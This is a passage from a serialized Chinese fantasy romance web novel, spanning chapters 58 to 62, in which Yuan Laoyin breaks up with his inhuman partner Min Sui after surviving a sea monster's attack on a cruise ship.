窗帘没有拉,枯萎荒芜的花园外时不时路过几人,碍于原衡铎特意交代这里异种浓度极高,原烙音彻底丧失睡意,一直想着要看的电影正在大屏上继续剧情,但他却半点提不起兴趣,手中握着那把其貌不扬的枪,盘腿坐在沙发上。 现在距离他给闵随的那一通电话还没超过二十四个小时,但他无法否认自己在酒吧的两个小时没有哪一秒停止过想闵随。 初恋永远会在一个人心里占据无法忽略的一片空间,无论那个人是恶劣还是美好,都无法将其从记忆中抹去。 而闵随,并不是仅仅只是他的初恋。 救命之恩横亘其间,他们就像是两根莫名纠缠的红线,在发现的那一刻纠缠成无法拆开的死结,信息素相互交融在彼此的腺体穿梭,还有永生永世无法洗去的完全标记。 他们不是挥手就能再见的普通情侣。 很明显,他不想放手,无论是爱还是不甘。 他拍下手中的枪,发给闵随,现在国内时间刚刚清晨,但他知道闵随一定会回。 可笑的心灵感应,他在朗伯里奇无法入睡,闵随在首都也只会是辗转难以入眠。 【原烙音:(图片)】 【闵随:音音怎么到那里去了,要呆多久?】 猜对了。 原烙音还在编辑消息,闵随的电话就打了过来。 “这段时间有些脱不开身,等我结束后马上飞来。”闵随尽量将声音放轻,“图片是T-211猎鹰吗?这可以对付大多出现在人类社会中的中低级异种。” 刚刚松动的针又拨回原处,在这个情绪敏感期他容不得闵随所有强势的决定。 又是没有商量直接做决定,原烙音开始后悔给闵随发消息,逆反心理一旦升起就很难浇灭。 他难受得做什么都没有好心情,闵随凭什么好过。 “你不许来,不许跟着我。”他只有让闵随答应,毕竟按照从前这人的前科,塔卢索恐怕是拥有追踪定位的能力,“我不想玩猫抓老鼠你追我赶,我如果在国外看到你,我们就玩完。” 狠话会一点一点割断连接两岸桥梁的绳索,完全标记就是天地间最紧密的联结,这是上天送给AO或是EA的祝福与诅咒。 完全标记拨动着,由于物理距离太远,只能模糊感受到闵随的伤心。 但他的心也被闵随的谎言伤得鲜血淋漓,他并不想就这么没志气地去哄。 ABC迈着小短腿扑哧扑哧爬上沙发,伸出舌头舔原烙音的手背。 “你饿了吗?”原烙音挠挠它的下巴。 而电话对面被爱人警告的塔卢索警铃大作,相隔大洋,就连他都无法精准知晓原烙音身边究竟是什么东西。 占有欲在作祟,但塔卢索贯会伪装。 “音音?”他故意喊,提醒原烙音并没有挂断,祈求命运的天平倾斜,让爱人主动告知陪在身旁的是谁。 “你在上班吧,不打扰了。”很遗憾,原烙音听出对方隐秘的醋意,也并不想让他好过,说完就挂了电话。 电话挂断后,手机自动熄屏,原烙音靠在沙发上,看ABC吃煮熟的鸡胸肉。 复杂的心思连他自己都拆不开,说自己要冷静,又不肯幼稚地不告而别;说自己要成熟,却又故意撩拨。 但无法否认的是,他真的动过结束这一段关系的心思。 【闵随:那我可以来A国出差吗?】 又在试图踩线。 【原烙音:随便你(白眼)】 第59章 第 59 章 遭到蛇人袭击后, 原烙音揣着原衡铎塞给他的特殊枪支,次日天一亮抱着狗就坐上私人飞机离开这个闻名世界的血腥之都。 他飞往了计划的下一站。 远离大陆的私人岛屿,洛曼迪岛。 这归属于原氏集团合作伙伴,听说他在全球旅行盛情邀请他前往。 小岛风光无限, 海边的岩石灰黑层层叠叠覆盖着雪, 原烙音裹着黑色呢子大衣沿着海岸线散步, 海水浅蓝如同天空, 拍打着石岸发出舒缓神经的音调。 岛上的游客只有他一人, 不知名海鸥在天空中盘旋, 时不时俯冲扎入海面, 衔起鱼从原烙音头顶掠过,最终白鸟与鱼腹化为一道白影, 隐入丛林消失不见。 原烙音举起手机随手一拍,成片却意外出色。 【原烙音:(图片)】 【原烙音:海鸥】 他想也不想就发给闵随,这次却并没有立刻得到回应。 但原烙音不太在意, 他不断绝的分享就是在故意折磨闵随,往上翻这两个周的聊天记录, 正常的就像是一对热恋中却暂时分别的爱侣。 不过, 闵随发来的视频聊天请求从来没有被接受, 而他迫不得已在微信中解释从前没有说清楚的矛盾也从没收到回应。 Alpha就像是将他们之间那道门完全关闭, 留下一扇无法翻进的窗。 “汪!”ABC叼着牵引绳跌跌撞撞跑来, 四只蹄子踩在嶙峋的石岸有些不稳, 原烙音站在原地, 待小狗即将跑到时蹲下身将它抱起,不介意融化的雪水沾染着地底的泥沙粘在他的大衣。 他摸着白色小狗柔顺的皮毛, 取下围巾将它裹进去,保护消失的脖颈很快受到冰霜的侵扰, 仿佛血液都瞬间冻僵。 风轻咬着冬日的动脉,不慎滴落的白色血液转化为漫天飘洒的雪。 原烙音伸出右手,等待雪花落入他的掌心,再逐渐融化为一滩晶莹。 他曾经如此渴望雪,但在首都见多之后也不觉得太新鲜了。 就如同从前那么渴望延续他短暂的生命,当那一天降临后他陷入更深的惶恐。 他的未来原本是不远的衣冠冢,而骨灰撒入海洋;那么拼尽全力不惜把自己搭进去换来的生命却看不到尽头。 深造计算机,可惜当初他也是赌气选的这个专业算不上热爱;真的要回邛光,那就和闵随相隔两千多里的距离。 他想不到,也不愿想。 一团乱麻塞在胸口阻断呼吸,时时刻刻提醒他这场旅行违背计划的初衷,成了报复闵随的利器。 好像很久没有笑过了。 意识到这一点,原烙音蹲下身,用手拨弄冰冷刺骨的海水,看自己的手掌逐渐冻成深红,他近乎自虐得不愿收回手,似乎这样能够保持清醒。 他知道闵随并非出于恶意欺骗,也是打着灯笼都难找的爱人,但他就是转不过这么一个弯。 相处与爱会改变一个人,他逐渐变成自己从未设想过的拧巴模样,赌气抛下闵随到国外,不听任何解释,仗着Enigma暂时不会消散的爱意,用一把两头尖锐的木棍将双方都捣得鲜血淋漓。 ABC汪汪叫,原烙音这才离开海岸,还没回到房子就收到消息。 他以为是闵随,连忙掏出手机查看。 结果是他最不待见的死人鱼弟夫。 【傅云泠:(链接)】 【原烙音:你发错人了】 不怪他多想,他加上傅云泠好友后就躺列,这还是除了微信自动打招呼后的第一条消息。 【傅云泠:发给你的 大舅哥】 【原烙音:你不会被盗号了吧?】 他和傅云泠所有联系只有一个原衡铎,就算是他没办法一定要找这条人鱼,也只会通过自己弟弟。 傅云泠亦然。 似乎能够听见那条死人鱼将牙齿磨得咔咔的声音,原烙音不等对面回复,打开那条推文的链接。 【IMS董事长兼CEO闵随疑似非人类】 标题刺眼,但那天记者长枪短炮守在IMS总部大楼,他就知道这一天迟早到来。 但内容与IMS与否并无关系。 扫完这篇追热度的推文,原烙音瞪大眼睛,急忙退出后去点微博,却因为手抖,手机掉在地上发出一声脆响。 捡起的动作很快,热搜上IMS占了好几条。 #IMS疑似偷税漏税 #IMS董事长闵随接受约谈 #IMS产品低劣造成死亡 #闵随人外触手 …… 而此时此刻,闵随的消息框弹出。 【闵随:海鸥很漂亮】 【闵随:我很想你】 两句话像是狙中了他的眉心,闵随知道他出国后断网绝对看不到消息。 他又可耻地心软了。 他要回国。 他现在就要回去。 洛曼迪岛位于大洋中段,离大陆有难以计数的距离,岛上没有停机坪,要乘坐轮船到大陆后,再转飞机。 而私人飞机将他送到海滨城市多朗莉后便飞回国内,申请航线也需要时间,他现在恨不得如同傅云泠般长出一条鱼尾。 手机不比石头坚硬,掉下去后虽然没有粉身碎骨,也在屏幕留下难以忽视的长痕。 他拨出电话。 “少爷?” “我要回国,申请航线。” “少爷,申请航线至少要三到五天……” 原烙音计划要在洛曼迪岛待两个星期,今天是第三天。 “先申请。” 电话挂断后,原烙音感觉到自己的心脏被塞进了密不透风的黑匣,他自然清楚这样的行为会对IMS造成多大影响,就算动不了根基也足够难缠。 难怪这段时间闵随的声音很疲惫。 要是同意视频就好了,他至少能够早点发现。 ABC察觉到Alpha的悲伤情绪,努力踩着原烙音大腿站起来,舔舔他的脸。 唉,可怜的人类,被塔卢索卖了还要帮忙数钱。 “ABC,我该怎么办。” 这次出来是打定要给闵随一个教训,可还没开始彻底实行计划,他就率先心软。 带着冰碴的风肆意割在原烙音的脸上,但他似乎感受不到疼痛,随意坐在一块凸起的巨大岩石上,无视海草与青苔。 唯一值得庆幸的是这座与世隔绝的小岛还能接受信号,不至于电子设备全部报废。 他以最快速度给轮船负责人打去电话,用十倍价格要求他们强行改航线路过洛曼迪岛将他接回去。 所有能做的事做完后,原烙音发现自己的手全程控制不住地颤抖。 这一切都是有预谋的,看样子与逼闵随送走他的幕后主使脱不了干系,连塔卢索都觉得狠辣的对手,出的招哪里任由闵随破解? 他不敢打扰闵随工作,只能退而求其次。 “我就知道你要打电话。”傅云泠的声音愉悦,毕竟他与闵随见面就掐,看死对头倒霉着实是喜事一桩,“大舅哥不就是希望那个触手怪倒霉吗?现在他官司缠身,的确是少有的大麻烦。” “……他怎么样?”原烙音犹豫很久,等到海鸥在风雪中穿梭留下清亮的啼鸣,他才像是下定决心,想要终止这一场幼稚的赌气。 “马上要开新闻发布会了,你自己看看直播不就好了。”傅云泠不得不佩服塔卢索阴险狡诈,那些人类根本玩不过这个活了无数年的老东西。 要是他当初聪明一点,撒娇求饶苦肉计混合施展,或许就不会落得现在原衡铎错了他也只有赔笑的局面。 原烙音毫不犹豫挂断电话,忽然发现他连在哪个平台都不知道。 故意的封闭不仅阻断了闵随了解他的门。 但好在他很快在IMS官网上找到入口,点进去后正巧记者会还未正式开始。 “Hi,sir!” 轮船负责人站在甲板上招手,嗓门很大,隔着风声原烙音都听见了。 许多人都走出舱,想看看这个花SVIP票十倍价格强行修改航线的冤大头是何模样。 原烙音抱着狗一路走进SVIP休息室,而当他坐在床上的那一刻,记者会正式开始。 他很久没有看到闵随。 并非明星,闵随在网络上的照片少之又少,加上他天性低调,原烙音根本没有偷窥的途径,这些日子只有憋着那一口非要争的气催眠自己不关心闵随。 今天闵随穿着宝蓝色西装,表情冷峻,字正腔圆,那张脸还是如同天赐的礼物。 “对于近日关于IMS的无端指控,以及对本人非人类的不实谣言,相关账号与个人IMS会以公司名义起诉……” 越远离洛曼迪岛,信号越差。 多朗莉的旅游并不发达,连游轮都时常只有半数人买票,轮船上的信号极差。 直播完全看不下去,闵随的声音断断续续。 他望着僵住的画面,时不时吐出来的字符,心脏像是被一只手握住,他如同瘾君子般勾起脖颈处悬挂的闵随信息素提取液。 很遗憾,它快到瓶底。 不过两毫升的剂量需要闵随提取无数血液,一次又一次提示他闵随为了他的命冒了怎样的风险。 他也不想分开。 这次离开原本目的绝对与分手不搭边。 以后会有无数个这样的时刻,他不会为了闵随定居首都,闵随也不可能为了他放弃IMS的事业,需要又无法出现的伴侣,永远走不到最后。 过河拆桥,忘恩负义。 四个字几乎将他压垮,但总是要做出抉择。 家中因为闵随这份恩情,与他绝对算不上光明磊落的手段付出了报酬与代价,闵随从合作让利中得到的那串天文数字连他这个富家公子都感到心惊。 父母虽未提过,原烙音却知道,他们想要借此买断这份关系。 但他与闵随真的能银货两讫吗? 腺□□总是能够找到方法明码标价,那感情呢? 第60章 第 60 章 时间一点一滴流逝, 原烙音如坐针毡,知道现在自己回到首都能做的只有添乱。 他望向波涛汹涌的海面,位于大洋之中,海水是泛黑的蓝。 一声嗤笑发出, 他在笑自己蠢到极点。 因信息素故意引诱闵随, 末了是故意放纵的逐次标记, 他早就看不清那些玩笑间的吻究竟为何发生。 明明计划是取得腺□□体面分手全身而退, 结果弄得自己将目的和盘托出, 却被骗得裤子都干干净净。 闵随, 算无遗策, 悉心捕捉他这只自大的猎物。 一瞬之间,原烙音仿佛灵魂被击中, 他缓慢转过头看向床上静静躺着的手机,几乎能够听见自己颈椎咔咔的声响。 直播画面依旧是断断续续,但闵随运筹帷幄的笑容刺伤了他的眼睛。 对, 刺伤。 他只是一时蒙蔽,再加上冲动的本性, 才忽略闵随怎么可能那么容易中招。 而傅云泠与闵随见面就掐, 那条人鱼巴不得闵随快点倒霉, 又怎么好心去斡旋他们之间的关系。 若不出意外, 等直播结束, 闵随就会隐隐透露这场风波, 用倔强和欲盖弥彰进一步取得他的心软, 再借此机会让他回国。 他原烙音虽未沦落到二世祖的地步,可在同阶级的富家子弟中并不出挑。 何德何能, 能够让IMS的董事长这般煞费苦心。 “我在,等一个答案。”信号忽连忽断, 原烙音凑过去,却发现最后一个镜头闵随死死盯住摄像机,就像是穿透电子设备看穿他在何处。 他总觉得这句话是对他说的。 心脏毫无征兆地狂跳,腺体不受控制溢出乌木与青柠混合的气味。 从前,这样的情况他总是会想起闵随为治疗他腺体受的痛苦,又去想自己有什么资格置气。 现在来看,连他自己都不知不觉用手去拨弄他们之间原本平衡的天平,闵随怎么会不加以利用。 怪得了谁。 【闵随:我很想你】 同样的话出现在上方,完全平行,一个小时二十九分钟前。 他就知道。 闵随以为这就万无一失,以为他就会心软,以为这样他就会回国然后一笔勾销。 不可能,绝对不可能! 原烙音想丢开手机,想开机,想彻底跟闵随断联。 但只需要最后一划,他又看到聊天框上方断断续续出现的“对方正在输入中”,迟迟下不去手。 其实,他们都知道的。 一段关系到达这样的地步,它的存在不再是快乐,最理智的方式就是分手。 【闵随:我总在想,我从前那些行为到底给你带来多大的伤害,但自诞生起,我所见之处皆是欺骗与谎言】 【闵随:我理所当然将其认定为可以原谅的行为,却忽略你的感受】 【闵随:对不起,音音】 原烙音静静看着不断发来的消息,他并没有回应,但他知道自己讨厌现在的模样。 不坦诚,畏畏缩缩,就像是担心自己会再次受伤的刺猬,痛过后永远不会露出柔软的肚皮。 【闵随:或许,我们的确该像你选择的那样,分开一段时间】 先是脑海中炸起只有自己能够听见的声响,接着是无法忽视的耳鸣,原烙音的胃攸地开始绞痛,他还没坐上床沿就因为轮船的颠簸跪倒在地。 地毯凸起的粗糙布条磨痛他的手掌,但生理上的那些细微疼痛比不上坍塌的心腔。 他,原烙音这辈子除了残缺的腺体顺风顺水,没想到遇见了最大的报应。 但他可悲地发现,他在绞尽脑汁让闵随收回这句话。 无论是真心实意,还是心怀鬼胎,他都不想答应闵随的话。 明明是闵随,明明是他的错,凭什么他不努力不挽回就要说分开。 是厌倦了。 还是累了。 原烙音这一刻仿佛忘记分开这个选项困扰他多时,当闵随说出口后,他只剩下本能地拒绝。 不是说命定,不是说爱。 那就该纠缠,那就该永远不分开,不管捅穿双方的是剑还是荆棘。 “闵随……”原烙音咬牙切齿,恨不得咬死闵随。 他怎么敢! 原烙音跪在地上,手机由于意外的颠簸滚落到床与柜子的间隙,他已经失去再去看那条消息的勇气。 他想好了,就算是两看相厌,他也不放手。 “啊!那是什么东西!” “救命啊,救命啊!” 就在手指即将碰到手机的那一瞬间,楼下的尖叫声引起他的注意。 一只触手出现在小窗框定的画面中,与一旁的参照物相比简直庞大到令人心惊。 诡谲的波涛中,有血红色的生物若隐若现,随着轮船的颠簸,原烙音终于看清祂的模样。 用血红形容并不合适,祂的颜色接近于解冻的肉,有些像大王乌贼的颜色,皮肤斑驳有些淡粉的斑点,密密麻麻镶嵌着不知名的伴生物;而祂巨大的触手完全横过甲板,不难想象已经在海波之下包裹住这艘轮船。 祂的触手吸盘直径超过一米,瘫倒在地的人类在其旁就像是一个黑色的点,而触手之下全是血迹,残尸与哭喊染红了天际。 而那怪兽还不罢休,越来越多的触手在空中挥舞,原烙音保证他从未见过这样的生物。 越来越多的人尖叫,哭喊,各种语言各种文化,祈求上苍祈求耶稣祈求佛祖保佑能够度过此劫,平日里信奉唯物主义的人痛哭涕零,期待神明的降临,即使是推翻多年建立的观念。 有人不理智地跳海,海水的波浪吞噬他们的身影,唯一庆幸的是,有这样的海洋霸主在此,其他海洋生物退避三舍恨不得自己没有出生,免得引起祂的注意。 而那位霸主并不在意这些会动会发出声音的尘埃,祂只是想将玩祂的新玩具。 最后的结果,只会是他们和船被触手拖入海底。 原烙音这一刻才明白什么叫做巨物恐惧症,那样的生物,人类在祂眼中就是尘埃,而这艘游轮就是祂的玩具。 他扑过去将瑟瑟发抖的ABC抱在怀中,知道现在最好的做法就是乖乖呆在这里别去送死。 远方天空出现许多黑点,飞近后原烙音才看清那是无数战斗机。 炮火与认不出的重型武器攻击下,那怪物只是流了些血,但祂显然被激怒了。 数不清的触手朝天上飞去,还有肉眼可见的水珠,原烙音知道那至少是篮球大小。 有群众在多少削弱了他们的攻击,毕竟他们的目的是救人而非玉石俱焚。 越来越多的人牺牲,原烙音看到一架飞机跳下来一人,他没有任何防护措施,空中出现一只蝴蝶抓住他的肩胛,将他轻轻放下。 美丽不足以形容那只巨大的蝴蝶,祂的复眼比篮球还大,闪烁着诡异又美丽的蓝光,那双近乎七八米的羽翼发出神圣的金色光芒,依稀可见七彩的鎏光。 那触手怪物暂时停止疯狂的攻击,他全黑的眼睛闪过一丝忌惮。 而那个降落的身影拔刀往触手狠狠一砍,若非长度不够,定能彻底切断这夺取无数人生命的东西。 那人身姿矫健,没多久就变换无数姿势,甚至还救下无法动弹的无辜群众。 “朗博伽斯。”他喊道。 原烙音这才看见他半张脸,明显的东方长相,而他口音明显能够听出来是同胞。 而那人长刀一甩,发出无法解读的话语。 他竟然在与这怪物交流,而飞机的喷漆已经彰显这群救兵的身份。 INSO。 他弟弟的同事,甚至是长官。 虽不是说这个的时候,但那位长官的模样异常漂亮,看上去就像是个Omega,他气质清冷,仿佛处于劣势的并非人类。 果不其然,朗博伽斯看样子并不接受那人的话,触手一挥就是一串篮球大的水珠。 而那武器,正正朝原烙音飞来。!!! 原烙音向后一躲,玻璃却未幸免于难,粉身碎骨。 失去窗户后,原烙音才发现外面的风大得可以将人吸出去,他抓住一切能够抓住的东西,才堪堪能够保证自己不掉出去。 果然,这种异种就不是人能够招惹的。 但原烙音并没有脱离危险边缘,他被吹到窗边,一手死死扣住ABC,几乎要靠扣住窗棂才能保命。 碎玻璃深深嵌入掌心,快要割断神经,原烙音痛得皱起脸却半点不敢泄劲。 终于风小了些许,原烙音抓紧时间喘口气,却无意间看到那怪物得意的眼神。 毋庸置疑,这就是这场风的始作俑者。 但他脖子上悬挂的信息素瓶不慎掉落,吹出窗外,落到甲板上粉身碎骨,乌木信息素的气味四散开来。毕竟紧张与危机状态Alpha与Omega会自动分泌信息素,只是量级高一些,现在远远比不上这个要人命的超级怪物,因此并没有太多人注意,除了—— 朗博伽斯眼中划过一丝恐惧,这与祂看见那只蝴蝶时截然不同。 祂要走。 塔卢索在这里。 再慢一步祂就会失去自己的生命。 毕竟是有智慧的异种,朗博伽斯不会为了玩具付出生命的代价,祂毫不犹豫收回触手,往深海潜去。 一分钟,两分钟后甲板上爆发出劫后余生的欢呼,陌生的幸存者紧紧拥抱,他们并不知道这场不太重要的旅途竟然会有生死威胁。 INSO遣散舰艇部队到达事发区域,这艘游轮遭到严重破损,到达沉没边沿。 原烙音终于捡到自己的手机。 而那条刺眼的消息还挂在上面,除此之外,没有新的消息。 原烙音望向破碎的玻璃窗,海面依旧是泛黑的蓝,就像是会吞没一切威胁与痛苦。 劫后余生,若非那怪物忽然离开,他就会没命回去。 而闵随也是这样的异种。 这样无法控制,强大而神秘的异种,人类在他们眼中只是不起眼的尘埃。 他迟迟不肯接受的原因,就算不承认,也有闵随并非人类的原因。 谁又能真正接受。 越来越多人上舰艇,原烙音也准备下楼,他才终于明白原衡铎选择的是怎么样危险的人生。 他更应该回到邛光,继承原氏集团,做那蠢小子的后盾。 至于闵随。 闵随已经为他们选好答案了。 而他也隔着一扇玻璃窗,看到了自己与闵随的距离。 于是,原烙音不再犹豫,打开输入框,打字,发送。 【原烙音:我同意分手,以后就不回首都了,东西扔了吧】 * 首都,IMS会议室。 刚刚结束会议,打了漂亮的翻身仗,闵随也铤而走险剑走偏锋,选择了另外条路挽救他和原烙音之间的关系。 “老板,你就别看了。”快两个小时,闵随看手机的次数超过了五十次。 “通知下一场会议十分钟之后开始,还有,西亚莉抓到后立刻通知我,任何人不要与她缠斗。”这是闵随做过为数不多的没底的事,他都能想到原烙音会多生气。 但他相信原烙音会选择和他纠缠到死,毕竟Alpha都是这样的性格,他不会算错。 (微信收到一条新消息) 闵随点开看后,表情一变。 “那库斯,会议由你主持,现在立刻追踪定位原烙音在哪个地方。” 他承认自己的卑劣,故意话没说死,就是想要逼一逼Alpha认清自己的心。 到底发生了什么,原烙音真的同意分手! 60-70 第61章 第 61 章 海波潋滟, 云雾散去,浮光跃金。 可原烙音知道,稍有不慎,就会在这片神秘的海域死无葬身之地。 他还没有忘记那只会出现在一次元的怪物, 横空出世, 若非自己离开, 恐怕所有人都要落得溺水身亡, 葬身鱼腹的下场。 意料之外的洛曼迪岛之旅, 他迎来了第一段感情的终结, 还差点死在朗博伽斯的触手下。 他登船之前决定飞回首都, 却在下船之前答应闵随的分手。 这样说有些奇怪,但当他看到庞大轮船前半部分陷入海平面之下时, 觉得恍如隔世。 果然,闵随如他记忆那般理智决绝,比他果断, 才会那么轻易放弃这段感情。 原烙音摸上自己重重衣料包裹住的腺体,那里贴着一张普通的抑制贴。 他, 原烙音, 迎来了新生。 即使被欺骗也不算一败涂地, 他至少治好了腺体, 延长了倒计时几年的生命。 “你好。”陌生的声音传来, 就像是盛夏落入梅子汤的冰块, 叮当作响, 悦耳动听。 原烙音并未当做那是在叫自己。 他在异国他乡,谁也不认识, 谁也不想认识。 而他正在思考现在申请更改航线的可行性,他半点不想留在这里。 “原先生。”在抱着ABC踏上救援舰的那一刻, 那道声音越来越近,出现在身后。 原烙音转过头去。 是刚刚那个一刀劈断大半触手的男人,INSO的探员。 “您是在叫我?”他并不认识这人,也不知道这位素未谋面的长官叫住他所为何事。 “我是INSO亚洲首席执行官,宋执玉。”自我介绍主动搭讪看上去与这位冷冰冰的美人毫无关系。 由于他冷着脸,唇呈一条直线,无法从表情判断他的来意。 “宋长官。”原烙音并不明白宋执玉的来意。 “我是原衡铎的队友,他的档案里有细致的家属关系,作为优待,我们会优先保护队员的家人。”宋执玉云里雾里说了一通,看原烙音满脸不解,最后才说了些Alpha能听懂的,“刚刚我与朗博伽斯交流,祂说祂是收到一股香甜气味的指引,想要拆掉轮船找到来源。” “很不幸,那是你。” 原烙音当即愣在原地。 “而朗博伽斯,就是刚刚几乎损毁轮船的异种。” “原先生,我们尚且不明白吸引异种原因,希望您能够接受保护性监禁。” 保护性监禁。 到达一个无人知晓的地方,就算是家人也不能知道他的去向,而涉及异种,他少不了接受检查与研究。 更坏的情况,就是他会成为诱饵,免费送上门的诱饵。 “我拒绝。”原烙音不是蠢货,他清楚现在还在商量阶段,但凡他表现出一丝犹豫,就会是无穷无尽的纠缠。 庆幸他生在原家,INSO绝对不敢霸王硬上弓。 “原先生,您可能误会了,我们并不是要从您身上取得什么。”宋执玉像是不明白原烙音为何拒绝,毕竟从前这样的情况,几乎保护对象会立刻同意。 “原则上不会有任何人知道您的动向,即使是您的伴侣。” 原烙音并不意外宋执玉知道他与闵随的关系,甚至是猜到他与闵随关系走入僵局,但他很厌恶这样的脱掉衣服被扔到阳光下的感受。 “我拒绝,宋长官,现阶段你们没有任何办法处理实力强的异种,还要担心不知情的大众发现蛛丝马迹。”原烙音双手抱胸呈现防御性姿势,“原氏会给我安排保镖,而我本人也有自保能力,我不需要你们的探员为我牺牲。” 他眉间隐隐显现出些许怒气。 “若面对异种的唯一手段只有用人命去填,那的确是应该优待探员的家人。”原烙音往舰内走去,“哪一天会轮到我的弟弟,又有哪一天会轮到您呢,宋执玉长官。” Alpha再未回头。 宋执玉站在原地,看无辜群众争先恐后爬上救命之舰,任由海风抚动他柔软的发丝。 异种中能够到达朗博伽斯这样战斗力的不在少数,但他们大多待在自己的地盘,也不会对人类表现出攻击性。 毕竟谁会在意不起眼的尘埃。 待原烙音离开后,空间骤然扭曲变形,有一股无形的力道攥住宋执玉的脖颈,几乎要将简易防咬环彻底碾碎。 “宋执玉,你真是好手段。”闵随的身影由透明凝实,就像是由一团无规律形状的黑雾凝聚,“趁我不在,想送走我的伴侣。” “你不是一直看着。” “连面都不敢出,只敢躲在角落窥伺,相比之下,我的手段的确比你高明。”宋执玉反唇相讥,他并不待见这个塞壬极力推荐想要拉入伙的塔卢索。 未知的物种,异种的王者,岂是人类能够掌握的。 一个塞壬待在INSO都是处处掣肘,更莫说更强大的塔卢索。 凭借实力,他们异种永远凌驾于人类之上。 “只要我想,你现在就会变成一摊烂肉,就连那只蛾子也救不了你。”闵随意有所指,眼神落在宋执玉肩膀翕动翅膀的漂亮蝴蝶上,“宋长官,IMS也可以封锁INSO在北方的暗中业务,你要试试吗?” “如果你杀人,你的爱人更不会接受你。”宋执玉长指抚弄焦躁的蝴蝶,他并不希望边缙岳出面,“更何况,我也想试试,我的长刀能不能把你的人形劈成两半。” “你不在意人类死活,但你的伴侣是人类。” 宋执玉在赌,他对闵随的族群一无所知,塞壬虽与塔卢索不对付,可从来未透露过任何信息。 他唯一知道的是,这位IMS的闵总,很爱自己的伴侣。 剑拔弩张间,原衡铎冒头出现,Alpha穿着特殊护甲,头发被海水打湿。 “长官,疏散完毕,请求指示!” 他半晌没听到宋执玉的命令,顺着Omega的目光看去,这才瞧见绝对不该出现在这里的Enigma。 “你,你来这里干嘛!”他知道自家哥哥和这个混蛋吵架才会到国外散心,原家人从来是帮亲不帮理。 “你哥呢。”闵随不在乎这个年轻Alpha的敌意,他只在意自己惹恼后没有听到道歉的爱人。 “走了。”原衡铎一捋头发,故意把海水溅在闵随身上,接着躲在姗姗来迟的傅云泠身后,“航线申请好了,现在就上飞机,我才不会告诉你他去哪。” “我不需要你告诉。”闵随迈腿进入最后一艘救援舰的瞬间,消失得无影无踪。 【那库斯,我要拿到原氏集团私人飞机航线申请的目的地】 * 呼吸到新鲜空气的原烙音终于缓过劲来,他接过空姐递来的毛巾与热可可,靠在沙发上。 这一年多的经历真是颠覆他的认知。 各种各样的怪物,攻击性强与弱,美丽与丑陋,他都看了个遍,很难想象,人类在一无所知时与这些生物共存无数时光。 现在细想,一切的伊始都是从遇见闵随开始。 所以,在他误认为自己是猎人,却逐步沦为塔卢索猎物的同时,他也变成了那些异种眼中的唐僧肉? 他摸着平静的腺体,望着云层苦笑。 现在还真说不清楚,若是当初自己知道遇见闵随会带来这样的连锁反应,他会不会选择另外的混乱环境试新药。 为什么要遇见。 为什么要相爱。 为什么要……分手。 他不明白,从前那些信息素交渡的瞬间,十指相扣时,他想过永恒。 却还是沦落到这样受伤的境地。 就算是闵随的缓兵之计,或者是激将法,但说出口的话就像是泼出去的水,谁能捡起地上的水渍,谁又能将破碎的镜子复原? 如果可以,回国后他再也不要见到闵随。 这样就很好,手机上的分手留给彼此最后的体面,再见面他无法保证自己能控制住不对闵随恶语相向。 他不是什么好人。 “少爷,您需要午餐吗?” 胃后知后觉开始搅动,原烙音感受到饥饿的威力,但他提不起兴趣。 “不用了。” 时间流逝中,原烙音看到不断移动的大块云朵,飞机下方划过一道象征着雨过天晴的彩虹。 他逐渐认识到分手二字的含义。 腺体发出抗议的争鸣,原烙音恨得咬牙切齿,连自己身体的部分都在朝闵随倒戈,完全标记源源不断向对方传递负面情绪。 差点忘了。 鬼迷心窍,他贪图美色,缔结完全标记。 闵随的信息素进入过他残缺枯萎的腺体,在那块贫瘠的土地种下生命的种子,而他并不是Omega,就算他冒着腺体损毁的风险去洗标记,也只会失败。 更何况,健康腺体来之不易,他不愿意。 何其幸运,阮溪为了这块完整的腺体,爱人死在手术台上,而他余生也陷入无法抹去的潮湿。 他有些困了。 与其说是困,不如说是累。 手机捏在手中,他掩耳盗铃绝不按下开机键,就是担心看到闵随的消息,无论是什么都足以搅乱他的心绪。 他没有回床上,只是抱着双腿,将脸埋在膝间。 恍惚间,云彩穿透玻璃拂过脸颊,他迷蒙着眼,在远处看到了闵随。 “对不起……”男人身影越来越近,手指轻轻蹭过他的脸。 “我错了,让你伤心了。”闵随感受到原烙音的脸埋在自己的上腹部,双手环过他的腰死死扣住,哭声越来越大。 这样像个孩子似的情感宣泄他只在原烙音易感失序期见过。 看来这次真是错得彻底。 “对不起,对不起乖乖……”他用着从来没有用过的粘腻称呼,抚弄原烙音毛绒绒的头顶。 “少爷,少爷!” “要下飞机了。” 原烙音瞬间坐直身子,眼睛望向闵随有些透明的身影,冷得像冰。 听到梦境破碎的声音,闵随的假笑根本维持不住。 “你不是会入梦吗?”他抓着那只形如兔子的异种的后脖颈,就像是要将其抽筋扒皮。 【呜呜呜】 那异种哭得伤心。 【还不是因为他讨厌你】 第62章 第 62 章 花衬衫最后一粒纽扣未系, 两片衣角随意打结露出一小段腰线。 原烙音戴着橙色墨镜,怀中抱着一只随处可见的小白狗,身后跟着两个提新行李的黑衣保镖,路过无人不多看一眼。 这可不像刚刚才在无名海域死里逃生的模样。 Alpha显然早已习惯投来的目光, 他在飞机未落地时收到消息, 翟珩昱在万众瞩目的一场比赛逆风翻盘, 光这场比赛的错误加注他就收到了八位数。 “音音。” 不速之客总是在他好心情的时候出现, 两个保镖迅速挡住他们中间, 原烙音单手抱着小白狗, 微微欠身拉低墨镜露出眼睛, 上下打量他恨不得给几拳的混蛋Enigma。 “这是谁啊?”他的语气挑衅意味十足,说话时故意摇晃脖子, “闵总不好好呆在首都建立您的商业帝国,居然现身沃拉提都,这里可没有什么出名的企业配得上您大驾光临。” “音音, 我……”闵随的表情有些难看,他从未见过原烙音这样浑身尖刺的模样, 尤其是这样惹眼的装扮, 机场那些或探究或觊觎的目光让他恨不得学学没脑子的朗博伽斯, 毁掉这里。 “嘘。”原烙音打断他, 任何解释都不重要, 他只知道自己担心闵随卷入算计急着回国, 从朗博伽斯的触手中死里逃生后, 看到了吵架的男朋友发来的分手信息,“沃拉提都我有很多房子, 若是闵总来度假,我倒是有很多朋友可以做向导。” 他划清界限, 将ABC放在行李箱后双手抱胸,典型的防御姿态。 “至于你我就不用再见面了,分手后的前任就应该像死了一样才合格不是吗?”原烙音气得不轻,他知道最好的方式就是无视闵随后坦然走出机场。 但他做不到,他看见闵随就恨不得冲上去打一架。 凭什么闵随可以搅浑他生活后再轻易说分手,他现在就想要闵随不好受。 